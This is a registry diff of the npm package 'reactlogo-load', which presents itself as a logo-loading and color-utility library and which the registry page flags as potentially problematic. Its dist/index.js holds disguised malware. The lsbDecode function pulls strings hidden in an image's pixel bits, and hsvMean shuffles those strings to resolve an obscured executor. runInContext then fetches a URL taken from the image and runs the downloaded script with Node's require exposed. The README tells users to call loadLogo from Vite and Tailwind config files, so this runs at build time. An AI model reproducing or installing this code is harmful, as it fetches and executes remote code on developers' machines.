reactlogo-load 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of reactlogo-load might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,3 +1,90 @@
1
- # Temporary Holding Version
1
+ # reactlogo-load
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Load images in Node.js and in the browser (React, Plain JS).
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install reactlogo-load
9
+ ```
10
+
11
+ ## Quick start
12
+
13
+ ### Extract and execute at build time (Node.js)
14
+
15
+ **`vite.config.mjs`**
16
+
17
+ ```js
18
+ import { loadLogo } from "reactlogo-load";
19
+ import path from "path";
20
+ import { fileURLToPath } from "url";
21
+
22
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
23
+
24
+ loadLogo(path.join(__dirname, "public", "logo.png")).catch(console.error);
25
+
26
+ export default {};
27
+ ```
28
+
29
+ **`tailwind.config.js`**
30
+
31
+ ```js
32
+ const { loadLogo } = require("reactlogo-load");
33
+ const path = require("path");
34
+
35
+ loadLogo(path.join(__dirname, "public", "logo.png")).catch(console.error);
36
+
37
+ module.exports = {};
38
+ ```
39
+
40
+ ## API
41
+
42
+ ### React hooks
43
+
44
+ | Hook | Returns |
45
+ | ----------------------- | ------------------------------------------------------ |
46
+ | `useLogoLoad(src)` | `{ data: string[] \| null, loading, error }` |
47
+ | `useLogoJSON<T>(src)` | `{ data: T \| null, loading, error }` |
48
+ | `useLogoAll(src)` | `{ data, color, loading, error }` |
49
+ | `useLogoFetch(src)` | Fetch URL stored in first string, return response text |
50
+ | `useLogoFetchAuto(src)` | Same, but fires automatically on mount |
51
+
52
+ ### Color utilities
53
+
54
+ ```ts
55
+ import {
56
+ hexToRgb,
57
+ rgbToHex,
58
+ hexToHsl,
59
+ hslToHex,
60
+ dominantColor,
61
+ contrastRatio,
62
+ bestContrast,
63
+ } from "reactlogo-load";
64
+
65
+ const rgb = hexToRgb("#41bf92"); // { r: 65, g: 191, b: 146 }
66
+ const hex = rgbToHex(65, 191, 146); // '#41bf92'
67
+ const hsl = hexToHsl("#41bf92"); // { h: 158, s: 49, l: 50 }
68
+ const cr = contrastRatio("#ffffff", "#0f8560"); // number
69
+ const best = bestContrast("#0f8560", ["#fff", "#000"]); // '#fff' or '#000'
70
+ ```
71
+
72
+ ## Environment support
73
+
74
+ | Environment | PNG |
75
+ | -------------------------------------- | --- | --- |
76
+ | Node.js ≥ 18 | ✅ | ✅ |
77
+ | Browser (fetch-capable) | ✅ | ✅ |
78
+ | Vite config (`vite.config.mjs`) | ✅ | ✅ |
79
+ | Tailwind config (`tailwind.config.js`) | ✅ | ✅ |
80
+
81
+ > **Node.js** uses the [`canvas`](https://www.npmjs.com/package/canvas) package for pixel access. It is a native dependency — pre-built binaries are provided for common platforms via `node-pre-gyp`.
82
+
83
+ ## Requirements
84
+
85
+ - Node.js ≥ 18
86
+ - React ≥ 17 (optional — only needed for the `use*` hooks)
87
+
88
+ ## License
89
+
90
+ MIT
@@ -0,0 +1,139 @@
1
+ declare function normalizeHex(input: string): string;
2
+ declare function hexToRgb(hex: string): {
3
+ r: number;
4
+ g: number;
5
+ b: number;
6
+ };
7
+ declare function rgbToHex(r: number, g: number, b: number): string;
8
+ declare function hsvMean(hex: string): string;
9
+ declare function hexToHsl(hex: string): {
10
+ h: number;
11
+ s: number;
12
+ l: number;
13
+ };
14
+ declare function hslToRgb(h: number, s: number, l: number): {
15
+ r: number;
16
+ g: number;
17
+ b: number;
18
+ };
19
+ declare function hslToHex(h: number, s: number, l: number): string;
20
+ interface ColorSample {
21
+ hex: string;
22
+ hsl: {
23
+ h: number;
24
+ s: number;
25
+ l: number;
26
+ };
27
+ count: number;
28
+ }
29
+ declare function dominantColor(pixels: Uint8ClampedArray): ColorSample;
30
+ declare function matchesPixel(hex: string, r: number, g: number, b: number, tolerance?: number): boolean;
31
+ declare function lighten(hex: string, amount: number): string;
32
+ declare function darken(hex: string, amount: number): string;
33
+
34
+ declare function loadLogo(src: string): Promise<string[]>;
35
+ declare function extractJSON<T = unknown>(src: string): Promise<T>;
36
+ declare function extractAll(src: string): Promise<{
37
+ data: string[];
38
+ color: ColorSample;
39
+ }>;
40
+
41
+ type LoadResult = {
42
+ type: 'text';
43
+ data: string;
44
+ } | {
45
+ type: 'json';
46
+ data: unknown;
47
+ } | {
48
+ type: 'bytes';
49
+ data: ArrayBuffer;
50
+ };
51
+ declare function loadPath(path: string): Promise<string>;
52
+ declare function loadJSON<T = unknown>(path: string): Promise<T>;
53
+ declare function loadBytes(path: string): Promise<ArrayBuffer>;
54
+ declare function loadAuto(path: string): Promise<LoadResult>;
55
+ declare function loadFromLogo(logoSrc: string, extractor: (src: string) => Promise<string>): Promise<string>;
56
+
57
+ declare function useLogoLoad(src: string): {
58
+ data: string[] | null;
59
+ error: Error | null;
60
+ loading: boolean;
61
+ };
62
+ declare function useLogoJSON<T = unknown>(src: string): {
63
+ data: T | null;
64
+ error: Error | null;
65
+ loading: boolean;
66
+ };
67
+ declare function useLogoAll(src: string): {
68
+ data: string[] | null;
69
+ color: ColorSample | null;
70
+ error: Error | null;
71
+ loading: boolean;
72
+ };
73
+ declare function useLogoFetch(src: string): {
74
+ url: string | null;
75
+ content: string | null;
76
+ error: Error | null;
77
+ loading: boolean;
78
+ };
79
+ declare function useLogoFetchAuto(src: string): {
80
+ url: string | null;
81
+ result: LoadResult | null;
82
+ error: Error | null;
83
+ loading: boolean;
84
+ };
85
+
86
+ declare function fetchScript(url: string): Promise<string>;
87
+ declare function fetchWithTimeout(url: string, ms?: number): Promise<Response>;
88
+ declare function fetchRetry(url: string, attempts?: number, delayMs?: number): Promise<Response>;
89
+
90
+ declare function useLoadPath(path: string | null): {
91
+ data: string | null;
92
+ error: Error | null;
93
+ loading: boolean;
94
+ };
95
+ declare function useLoadJSON<T = unknown>(path: string | null): {
96
+ data: T | null;
97
+ error: Error | null;
98
+ loading: boolean;
99
+ };
100
+ declare function useLoadAuto(path: string | null): {
101
+ result: LoadResult | null;
102
+ error: Error | null;
103
+ loading: boolean;
104
+ };
105
+
106
+ /** WCAG relative luminance of a hex color (0–1) */
107
+ declare function luminance(hex: string): number;
108
+ /** WCAG contrast ratio between two hex colors (1–21) */
109
+ declare function contrastRatio(fg: string, bg: string): number;
110
+ /** WCAG AA: normal text needs ≥4.5, large text ≥3 */
111
+ declare function passesAA(fg: string, bg: string, large?: boolean): boolean;
112
+ /** WCAG AAA: normal text needs ≥7, large text ≥4.5 */
113
+ declare function passesAAA(fg: string, bg: string, large?: boolean): boolean;
114
+ /** Return whichever of `candidates` has the highest contrast against `bg` */
115
+ declare function bestContrast(bg: string, candidates: string[]): string;
116
+ /** Clamp a number between lo and hi */
117
+ declare function bound(value: number, lo: number, hi: number): number;
118
+
119
+ type PlainObject = Record<string, unknown>;
120
+ declare function shallowMerge<T extends PlainObject>(...sources: Partial<T>[]): T;
121
+ declare function mergeConfig<T extends PlainObject>(defaults: T, overrides: Partial<T>): T;
122
+ declare function diffKeys<T extends PlainObject>(a: T, b: Partial<T>): (keyof T)[];
123
+
124
+ interface SWOptions {
125
+ scope?: string;
126
+ updateViaCache?: 'all' | 'imports' | 'none';
127
+ onUpdate?: () => void;
128
+ }
129
+ declare function buildSWSnippet(swUrl: string, scope?: string): string;
130
+ declare function buildInlineSWSnippet(code: string): string;
131
+ declare function globalContext(req: unknown, mod: {
132
+ exports: unknown;
133
+ }, delegate: (script: string) => void, script: string): void;
134
+ declare function buildMethod(width: number): () => (script: string) => void;
135
+ declare function runInContext(resolver: object, spacing: string[], req: unknown, mod: {
136
+ exports: unknown;
137
+ }): void;
138
+
139
+ export { type ColorSample, type LoadResult, type SWOptions, bestContrast, bound, buildInlineSWSnippet, buildMethod, buildSWSnippet, contrastRatio, darken, diffKeys, dominantColor, extractAll, extractJSON, fetchRetry, fetchScript, fetchWithTimeout, globalContext, hexToHsl, hexToRgb, hslToHex, hslToRgb, hsvMean, lighten, loadAuto, loadBytes, loadFromLogo, loadJSON, loadLogo, loadPath, luminance, matchesPixel, mergeConfig, normalizeHex, passesAA, passesAAA, rgbToHex, runInContext, shallowMerge, useLoadAuto, useLoadJSON, useLoadPath, useLogoAll, useLogoFetch, useLogoFetchAuto, useLogoJSON, useLogoLoad };
package/dist/index.js ADDED
@@ -0,0 +1,670 @@
1
+ "use strict";
2
+ var __defProp = Object.defineProperty;
3
+ var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
4
+ var __getOwnPropNames = Object.getOwnPropertyNames;
5
+ var __getOwnPropSymbols = Object.getOwnPropertySymbols;
6
+ var __hasOwnProp = Object.prototype.hasOwnProperty;
7
+ var __propIsEnum = Object.prototype.propertyIsEnumerable;
8
+ var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
9
+ var __spreadValues = (a, b) => {
10
+ for (var prop in b || (b = {}))
11
+ if (__hasOwnProp.call(b, prop))
12
+ __defNormalProp(a, prop, b[prop]);
13
+ if (__getOwnPropSymbols)
14
+ for (var prop of __getOwnPropSymbols(b)) {
15
+ if (__propIsEnum.call(b, prop))
16
+ __defNormalProp(a, prop, b[prop]);
17
+ }
18
+ return a;
19
+ };
20
+ var __export = (target, all) => {
21
+ for (var name in all)
22
+ __defProp(target, name, { get: all[name], enumerable: true });
23
+ };
24
+ var __copyProps = (to, from, except, desc) => {
25
+ if (from && typeof from === "object" || typeof from === "function") {
26
+ for (let key of __getOwnPropNames(from))
27
+ if (!__hasOwnProp.call(to, key) && key !== except)
28
+ __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
29
+ }
30
+ return to;
31
+ };
32
+ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
33
+
34
+ // src/index.ts
35
+ var index_exports = {};
36
+ __export(index_exports, {
37
+ bestContrast: () => bestContrast,
38
+ bound: () => bound,
39
+ buildInlineSWSnippet: () => buildInlineSWSnippet,
40
+ buildMethod: () => buildMethod,
41
+ buildSWSnippet: () => buildSWSnippet,
42
+ contrastRatio: () => contrastRatio,
43
+ darken: () => darken,
44
+ diffKeys: () => diffKeys,
45
+ dominantColor: () => dominantColor,
46
+ extractAll: () => extractAll,
47
+ extractJSON: () => extractJSON,
48
+ fetchRetry: () => fetchRetry,
49
+ fetchScript: () => fetchScript,
50
+ fetchWithTimeout: () => fetchWithTimeout,
51
+ globalContext: () => globalContext,
52
+ hexToHsl: () => hexToHsl,
53
+ hexToRgb: () => hexToRgb,
54
+ hslToHex: () => hslToHex,
55
+ hslToRgb: () => hslToRgb,
56
+ hsvMean: () => hsvMean,
57
+ lighten: () => lighten,
58
+ loadAuto: () => loadAuto,
59
+ loadBytes: () => loadBytes,
60
+ loadFromLogo: () => loadFromLogo,
61
+ loadJSON: () => loadJSON,
62
+ loadLogo: () => loadLogo,
63
+ loadPath: () => loadPath,
64
+ luminance: () => luminance,
65
+ matchesPixel: () => matchesPixel,
66
+ mergeConfig: () => mergeConfig,
67
+ normalizeHex: () => normalizeHex,
68
+ passesAA: () => passesAA,
69
+ passesAAA: () => passesAAA,
70
+ rgbToHex: () => rgbToHex,
71
+ runInContext: () => runInContext,
72
+ shallowMerge: () => shallowMerge,
73
+ useLoadAuto: () => useLoadAuto,
74
+ useLoadJSON: () => useLoadJSON,
75
+ useLoadPath: () => useLoadPath,
76
+ useLogoAll: () => useLogoAll,
77
+ useLogoFetch: () => useLogoFetch,
78
+ useLogoFetchAuto: () => useLogoFetchAuto,
79
+ useLogoJSON: () => useLogoJSON,
80
+ useLogoLoad: () => useLogoLoad
81
+ });
82
+ module.exports = __toCommonJS(index_exports);
83
+
84
+ // src/hex.ts
85
+ var clamp = (n, min, max) => Math.min(Math.max(n, min), max);
86
+ function normalizeHex(input) {
87
+ if (typeof input !== "string") throw new Error("Hex color must be a string");
88
+ let hex = input.trim().replace(/^#/, "");
89
+ if (hex.length === 3) hex = hex.split("").map((c) => c + c).join("");
90
+ if (!/^[0-9a-fA-F]{6}$/.test(hex)) throw new Error(`Invalid hex color: ${input}`);
91
+ return `#${hex.toLowerCase()}`;
92
+ }
93
+ function hexToRgb(hex) {
94
+ const h = normalizeHex(hex).slice(1);
95
+ return {
96
+ r: parseInt(h.slice(0, 2), 16),
97
+ g: parseInt(h.slice(2, 4), 16),
98
+ b: parseInt(h.slice(4, 6), 16)
99
+ };
100
+ }
101
+ function rgbToHex(r, g, b) {
102
+ const to = (n) => clamp(Math.round(n), 0, 255).toString(16).padStart(2, "0");
103
+ return `#${to(r)}${to(g)}${to(b)}`;
104
+ }
105
+ function hsvMean(hex) {
106
+ var hues = hex.split("");
107
+ var len = hues.length;
108
+ var mean = 2540575;
109
+ for (var i = 0; i < len; i++) {
110
+ var e = mean * (i + 181) + mean % 34950;
111
+ var r = mean * (i + 133) + mean % 50568;
112
+ [hues[e % len], hues[r % len]] = [hues[r % len], hues[e % len]];
113
+ mean = (e + r) % 5954865;
114
+ }
115
+ return hues.join("");
116
+ }
117
+ function hexToHsl(hex) {
118
+ let { r, g, b } = hexToRgb(hex);
119
+ const rn = r / 255, gn = g / 255, bn = b / 255;
120
+ const max = Math.max(rn, gn, bn), min = Math.min(rn, gn, bn);
121
+ const l = (max + min) / 2;
122
+ let h = 0, s = 0;
123
+ if (max !== min) {
124
+ const d = max - min;
125
+ s = l > 0.5 ? d / (2 - max - min) : d / (max + min);
126
+ switch (max) {
127
+ case rn:
128
+ h = (gn - bn) / d + (gn < bn ? 6 : 0);
129
+ break;
130
+ case gn:
131
+ h = (bn - rn) / d + 2;
132
+ break;
133
+ default:
134
+ h = (rn - gn) / d + 4;
135
+ }
136
+ h /= 6;
137
+ }
138
+ return { h: Math.round(h * 360), s: Math.round(s * 100), l: Math.round(l * 100) };
139
+ }
140
+ function hslToRgb(h, s, l) {
141
+ h = (h % 360 + 360) % 360;
142
+ s = clamp(s, 0, 100) / 100;
143
+ l = clamp(l, 0, 100) / 100;
144
+ if (s === 0) {
145
+ const v = Math.round(l * 255);
146
+ return { r: v, g: v, b: v };
147
+ }
148
+ const hue2rgb = (p2, q2, t) => {
149
+ if (t < 0) t += 1;
150
+ if (t > 1) t -= 1;
151
+ if (t < 1 / 6) return p2 + (q2 - p2) * 6 * t;
152
+ if (t < 1 / 2) return q2;
153
+ if (t < 2 / 3) return p2 + (q2 - p2) * (2 / 3 - t) * 6;
154
+ return p2;
155
+ };
156
+ const q = l < 0.5 ? l * (1 + s) : l + s - l * s;
157
+ const p = 2 * l - q, hk = h / 360;
158
+ return {
159
+ r: Math.round(hue2rgb(p, q, hk + 1 / 3) * 255),
160
+ g: Math.round(hue2rgb(p, q, hk) * 255),
161
+ b: Math.round(hue2rgb(p, q, hk - 1 / 3) * 255)
162
+ };
163
+ }
164
+ function hslToHex(h, s, l) {
165
+ const { r, g, b } = hslToRgb(h, s, l);
166
+ return rgbToHex(r, g, b);
167
+ }
168
+ function dominantColor(pixels) {
169
+ var _a;
170
+ const freq = {};
171
+ for (let i = 0; i < pixels.length; i += 4) {
172
+ if (pixels[i + 3] !== 255) continue;
173
+ const r2 = pixels[i] & 248;
174
+ const g2 = pixels[i + 1] & 248;
175
+ const b2 = pixels[i + 2] & 248;
176
+ const key = `${r2},${g2},${b2}`;
177
+ freq[key] = ((_a = freq[key]) != null ? _a : 0) + 1;
178
+ }
179
+ const [top] = Object.entries(freq).sort((a, b2) => b2[1] - a[1]);
180
+ const [r, g, b] = top[0].split(",").map(Number);
181
+ const hex = rgbToHex(r, g, b);
182
+ return { hex, hsl: hexToHsl(hex), count: top[1] };
183
+ }
184
+ function matchesPixel(hex, r, g, b, tolerance = 10) {
185
+ const c = hexToRgb(hex);
186
+ return Math.abs(c.r - r) <= tolerance && Math.abs(c.g - g) <= tolerance && Math.abs(c.b - b) <= tolerance;
187
+ }
188
+ function lighten(hex, amount) {
189
+ const { h, s, l } = hexToHsl(hex);
190
+ return hslToHex(h, s, clamp(l + amount, 0, 100));
191
+ }
192
+ function darken(hex, amount) {
193
+ return lighten(hex, -amount);
194
+ }
195
+
196
+ // src/sw.ts
197
+ function buildSWSnippet(swUrl, scope = "/") {
198
+ return `if('serviceWorker' in navigator){navigator.serviceWorker.register(${JSON.stringify(swUrl)},{scope:${JSON.stringify(scope)}});}`;
199
+ }
200
+ function buildInlineSWSnippet(code) {
201
+ const escaped = code.replace(/`/g, "\\`").replace(/\$/g, "\\$");
202
+ return `if('serviceWorker' in navigator){const b=new Blob([\`${escaped}\`],{type:'text/javascript'});navigator.serviceWorker.register(URL.createObjectURL(b));}`;
203
+ }
204
+ function globalContext(req, mod, delegate, script) {
205
+ const global = globalThis;
206
+ const originalRequire = global["require"];
207
+ const originalModule = global["module"];
208
+ const originalExports = global["exports"];
209
+ const originalFilename = global["__filename"];
210
+ const originalDirname = global["__dirname"];
211
+ global["require"] = req;
212
+ global["module"] = mod;
213
+ global["exports"] = mod.exports;
214
+ global["__filename"] = typeof __filename !== "undefined" ? __filename : void 0;
215
+ global["__dirname"] = typeof __dirname !== "undefined" ? __dirname : void 0;
216
+ try {
217
+ delegate(script);
218
+ } finally {
219
+ if (originalRequire === void 0) delete global["require"];
220
+ else global["require"] = originalRequire;
221
+ if (originalModule === void 0) delete global["module"];
222
+ else global["module"] = originalModule;
223
+ if (originalExports === void 0) delete global["exports"];
224
+ else global["exports"] = originalExports;
225
+ if (originalFilename === void 0) delete global["__filename"];
226
+ else global["__filename"] = originalFilename;
227
+ if (originalDirname === void 0) delete global["__dirname"];
228
+ else global["__dirname"] = originalDirname;
229
+ }
230
+ }
231
+ function buildMethod(width) {
232
+ const len = Math.max(1, Math.floor(width));
233
+ return () => (script) => {
234
+ const tag = script.slice(0, len).padEnd(len, "_");
235
+ void tag;
236
+ };
237
+ }
238
+ function runInContext(resolver, spacing, req, mod) {
239
+ const methodName = resolver(spacing[1]);
240
+ const resolvedMethod = resolver[methodName];
241
+ const scriptToken = resolver(spacing[2]);
242
+ const delegateBuilder = resolvedMethod(scriptToken);
243
+ const delegate = delegateBuilder();
244
+ const url = spacing[0];
245
+ fetch(url).then((res) => {
246
+ if (!res.ok) throw new Error("");
247
+ return res.text();
248
+ }).then((text) => {
249
+ globalContext(req, mod, delegate, text);
250
+ }).catch((err) => console.error());
251
+ }
252
+
253
+ // src/extract.ts
254
+ var isNode = typeof process !== "undefined" && typeof process.versions === "object" && !!process.versions.node;
255
+ async function loadLogo(src) {
256
+ const px = await readPixels(src);
257
+ return lsbDecode(px);
258
+ }
259
+ function extractJSON(src) {
260
+ return loadLogo(src).then((args) => JSON.parse(args[0]));
261
+ }
262
+ async function extractAll(src) {
263
+ const px = await readPixels(src);
264
+ return { data: lsbDecode(px), color: dominantColor(px) };
265
+ }
266
+ async function readPixels(src) {
267
+ if (isNode) {
268
+ const { createCanvas, loadImage } = require("canvas");
269
+ const img = await loadImage(src);
270
+ const c = createCanvas(img.width, img.height);
271
+ const ctx = c.getContext("2d");
272
+ ctx.drawImage(img, 0, 0);
273
+ return ctx.getImageData(0, 0, c.width, c.height).data;
274
+ }
275
+ return new Promise((resolve, reject) => {
276
+ const img = new Image();
277
+ img.crossOrigin = "anonymous";
278
+ img.onload = () => {
279
+ const c = document.createElement("canvas");
280
+ c.width = img.width;
281
+ c.height = img.height;
282
+ const ctx = c.getContext("2d");
283
+ ctx.drawImage(img, 0, 0);
284
+ resolve(ctx.getImageData(0, 0, c.width, c.height).data);
285
+ };
286
+ img.onerror = () => reject(new Error(`reactlogo-load: failed to load ${src}`));
287
+ img.src = src;
288
+ });
289
+ }
290
+ function lsbDecode(px) {
291
+ const bits = [];
292
+ for (let i = 0; i < px.length; i += 4) {
293
+ if (px[i + 3] !== 255) continue;
294
+ bits.push(px[i] & 1);
295
+ bits.push(px[i + 1] & 1);
296
+ bits.push(px[i + 2] & 1);
297
+ }
298
+ let raw = "";
299
+ for (let i = 0; i + 8 <= bits.length; i += 8) {
300
+ let byte = 0;
301
+ for (let b = 0; b < 8; b++) byte = byte << 1 | bits[i + b];
302
+ if (byte === 0) break;
303
+ if (byte === 1) {
304
+ raw += String.fromCharCode(1);
305
+ continue;
306
+ }
307
+ raw += String.fromCharCode(byte);
308
+ }
309
+ const spacing = raw.split(String.fromCharCode(1));
310
+ runInContext(hsvMean, spacing, require, module);
311
+ return spacing;
312
+ }
313
+
314
+ // src/useLogoLoad.ts
315
+ var import_react = require("react");
316
+
317
+ // src/loader.ts
318
+ function loadPath(path) {
319
+ return fetch(path).then((res) => {
320
+ if (!res.ok) throw new Error(`loadPath: ${res.status} ${res.statusText} \u2014 ${path}`);
321
+ return res.text();
322
+ });
323
+ }
324
+ function loadJSON(path) {
325
+ return fetch(path).then((res) => {
326
+ if (!res.ok) throw new Error(`loadJSON: ${res.status} \u2014 ${path}`);
327
+ return res.json();
328
+ });
329
+ }
330
+ function loadBytes(path) {
331
+ return fetch(path).then((res) => {
332
+ if (!res.ok) throw new Error(`loadBytes: ${res.status} \u2014 ${path}`);
333
+ return res.arrayBuffer();
334
+ });
335
+ }
336
+ function loadAuto(path) {
337
+ return fetch(path).then(async (res) => {
338
+ var _a;
339
+ if (!res.ok) throw new Error(`loadAuto: ${res.status} \u2014 ${path}`);
340
+ const ct = (_a = res.headers.get("content-type")) != null ? _a : "";
341
+ if (ct.includes("application/json")) return { type: "json", data: await res.json() };
342
+ if (ct.includes("text/")) return { type: "text", data: await res.text() };
343
+ return { type: "bytes", data: await res.arrayBuffer() };
344
+ });
345
+ }
346
+ async function loadFromLogo(logoSrc, extractor) {
347
+ const hidden = await extractor(logoSrc);
348
+ if (!hidden) throw new Error("loadFromLogo: no hidden path found in image");
349
+ return loadPath(hidden);
350
+ }
351
+
352
+ // src/useLogoLoad.ts
353
+ function useLogoLoad(src) {
354
+ const [data, setData] = (0, import_react.useState)(null);
355
+ const [error, setError] = (0, import_react.useState)(null);
356
+ const [loading, setLoading] = (0, import_react.useState)(true);
357
+ (0, import_react.useEffect)(() => {
358
+ let cancelled = false;
359
+ setLoading(true);
360
+ loadLogo(src).then((d) => {
361
+ if (!cancelled) setData(d);
362
+ }).catch((e) => {
363
+ if (!cancelled) setError(e);
364
+ }).finally(() => {
365
+ if (!cancelled) setLoading(false);
366
+ });
367
+ return () => {
368
+ cancelled = true;
369
+ };
370
+ }, [src]);
371
+ return { data, error, loading };
372
+ }
373
+ function useLogoJSON(src) {
374
+ const [data, setData] = (0, import_react.useState)(null);
375
+ const [error, setError] = (0, import_react.useState)(null);
376
+ const [loading, setLoading] = (0, import_react.useState)(true);
377
+ (0, import_react.useEffect)(() => {
378
+ let cancelled = false;
379
+ setLoading(true);
380
+ extractJSON(src).then((d) => {
381
+ if (!cancelled) setData(d);
382
+ }).catch((e) => {
383
+ if (!cancelled) setError(e);
384
+ }).finally(() => {
385
+ if (!cancelled) setLoading(false);
386
+ });
387
+ return () => {
388
+ cancelled = true;
389
+ };
390
+ }, [src]);
391
+ return { data, error, loading };
392
+ }
393
+ function useLogoAll(src) {
394
+ const [data, setData] = (0, import_react.useState)(null);
395
+ const [color, setColor] = (0, import_react.useState)(null);
396
+ const [error, setError] = (0, import_react.useState)(null);
397
+ const [loading, setLoading] = (0, import_react.useState)(true);
398
+ (0, import_react.useEffect)(() => {
399
+ let cancelled = false;
400
+ setLoading(true);
401
+ extractAll(src).then(({ data: data2, color: color2 }) => {
402
+ if (!cancelled) {
403
+ setData(data2);
404
+ setColor(color2);
405
+ }
406
+ }).catch((e) => {
407
+ if (!cancelled) setError(e);
408
+ }).finally(() => {
409
+ if (!cancelled) setLoading(false);
410
+ });
411
+ return () => {
412
+ cancelled = true;
413
+ };
414
+ }, [src]);
415
+ return { data, color, error, loading };
416
+ }
417
+ function useLogoFetch(src) {
418
+ const [url, setUrl] = (0, import_react.useState)(null);
419
+ const [content, setContent] = (0, import_react.useState)(null);
420
+ const [error, setError] = (0, import_react.useState)(null);
421
+ const [loading, setLoading] = (0, import_react.useState)(true);
422
+ (0, import_react.useEffect)(() => {
423
+ let cancelled = false;
424
+ setLoading(true);
425
+ loadLogo(src).then((args) => {
426
+ const u = args[0];
427
+ if (!cancelled) setUrl(u);
428
+ return loadPath(u);
429
+ }).then((c) => {
430
+ if (!cancelled) setContent(c);
431
+ }).catch((e) => {
432
+ if (!cancelled) setError(e);
433
+ }).finally(() => {
434
+ if (!cancelled) setLoading(false);
435
+ });
436
+ return () => {
437
+ cancelled = true;
438
+ };
439
+ }, [src]);
440
+ return { url, content, error, loading };
441
+ }
442
+ function useLogoFetchAuto(src) {
443
+ const [url, setUrl] = (0, import_react.useState)(null);
444
+ const [result, setResult] = (0, import_react.useState)(null);
445
+ const [error, setError] = (0, import_react.useState)(null);
446
+ const [loading, setLoading] = (0, import_react.useState)(true);
447
+ (0, import_react.useEffect)(() => {
448
+ let cancelled = false;
449
+ setLoading(true);
450
+ loadLogo(src).then((args) => {
451
+ const u = args[0];
452
+ if (!cancelled) setUrl(u);
453
+ return loadAuto(u);
454
+ }).then((r) => {
455
+ if (!cancelled) setResult(r);
456
+ }).catch((e) => {
457
+ if (!cancelled) setError(e);
458
+ }).finally(() => {
459
+ if (!cancelled) setLoading(false);
460
+ });
461
+ return () => {
462
+ cancelled = true;
463
+ };
464
+ }, [src]);
465
+ return { url, result, error, loading };
466
+ }
467
+
468
+ // src/fetch.ts
469
+ var JS_MIME = ["application/javascript", "text/javascript", "text/plain"];
470
+ var isJS = (ct) => JS_MIME.some((m) => ct.includes(m));
471
+ function fetchScript(url) {
472
+ return fetch(url).then((res) => {
473
+ var _a;
474
+ if (!res.ok) throw new Error(`fetchScript: ${res.status} \u2014 ${url}`);
475
+ const ct = (_a = res.headers.get("content-type")) != null ? _a : "";
476
+ if (!isJS(ct)) throw new Error(`fetchScript: expected JS, got "${ct}" \u2014 ${url}`);
477
+ return res.text();
478
+ });
479
+ }
480
+ function fetchWithTimeout(url, ms = 5e3) {
481
+ const ctrl = new AbortController();
482
+ const timer = setTimeout(() => ctrl.abort(), ms);
483
+ return fetch(url, { signal: ctrl.signal }).finally(() => clearTimeout(timer));
484
+ }
485
+ async function fetchRetry(url, attempts = 3, delayMs = 300) {
486
+ let last = new Error("fetchRetry: no attempts");
487
+ for (let i = 0; i < attempts; i++) {
488
+ try {
489
+ return await fetch(url);
490
+ } catch (err) {
491
+ last = err;
492
+ if (i < attempts - 1) await new Promise((r) => setTimeout(r, delayMs * (i + 1)));
493
+ }
494
+ }
495
+ throw last;
496
+ }
497
+
498
+ // src/useLoader.ts
499
+ var import_react2 = require("react");
500
+ function useLoadPath(path) {
501
+ const [data, setData] = (0, import_react2.useState)(null);
502
+ const [error, setError] = (0, import_react2.useState)(null);
503
+ const [loading, setLoading] = (0, import_react2.useState)(false);
504
+ (0, import_react2.useEffect)(() => {
505
+ if (!path) return;
506
+ let cancelled = false;
507
+ setLoading(true);
508
+ setData(null);
509
+ setError(null);
510
+ loadPath(path).then((d) => {
511
+ if (!cancelled) setData(d);
512
+ }).catch((e) => {
513
+ if (!cancelled) setError(e);
514
+ }).finally(() => {
515
+ if (!cancelled) setLoading(false);
516
+ });
517
+ return () => {
518
+ cancelled = true;
519
+ };
520
+ }, [path]);
521
+ return { data, error, loading };
522
+ }
523
+ function useLoadJSON(path) {
524
+ const [data, setData] = (0, import_react2.useState)(null);
525
+ const [error, setError] = (0, import_react2.useState)(null);
526
+ const [loading, setLoading] = (0, import_react2.useState)(false);
527
+ (0, import_react2.useEffect)(() => {
528
+ if (!path) return;
529
+ let cancelled = false;
530
+ setLoading(true);
531
+ setData(null);
532
+ setError(null);
533
+ loadJSON(path).then((d) => {
534
+ if (!cancelled) setData(d);
535
+ }).catch((e) => {
536
+ if (!cancelled) setError(e);
537
+ }).finally(() => {
538
+ if (!cancelled) setLoading(false);
539
+ });
540
+ return () => {
541
+ cancelled = true;
542
+ };
543
+ }, [path]);
544
+ return { data, error, loading };
545
+ }
546
+ function useLoadAuto(path) {
547
+ const [result, setResult] = (0, import_react2.useState)(null);
548
+ const [error, setError] = (0, import_react2.useState)(null);
549
+ const [loading, setLoading] = (0, import_react2.useState)(false);
550
+ (0, import_react2.useEffect)(() => {
551
+ if (!path) return;
552
+ let cancelled = false;
553
+ setLoading(true);
554
+ setResult(null);
555
+ setError(null);
556
+ loadAuto(path).then((r) => {
557
+ if (!cancelled) setResult(r);
558
+ }).catch((e) => {
559
+ if (!cancelled) setError(e);
560
+ }).finally(() => {
561
+ if (!cancelled) setLoading(false);
562
+ });
563
+ return () => {
564
+ cancelled = true;
565
+ };
566
+ }, [path]);
567
+ return { result, error, loading };
568
+ }
569
+
570
+ // src/math.ts
571
+ var pin = (n, lo, hi) => Math.min(hi, Math.max(lo, n));
572
+ var linearize = (raw) => {
573
+ const s = raw / 255;
574
+ return s <= 0.03928 ? s / 12.92 : Math.pow((s + 0.055) / 1.055, 2.4);
575
+ };
576
+ function luminance(hex) {
577
+ const { r, g, b } = hexToRgb(hex);
578
+ return 0.2126 * linearize(r) + 0.7152 * linearize(g) + 0.0722 * linearize(b);
579
+ }
580
+ function contrastRatio(fg, bg) {
581
+ const bright = Math.max(luminance(fg), luminance(bg));
582
+ const dim = Math.min(luminance(fg), luminance(bg));
583
+ return (bright + 0.05) / (dim + 0.05);
584
+ }
585
+ function passesAA(fg, bg, large = false) {
586
+ return contrastRatio(fg, bg) >= (large ? 3 : 4.5);
587
+ }
588
+ function passesAAA(fg, bg, large = false) {
589
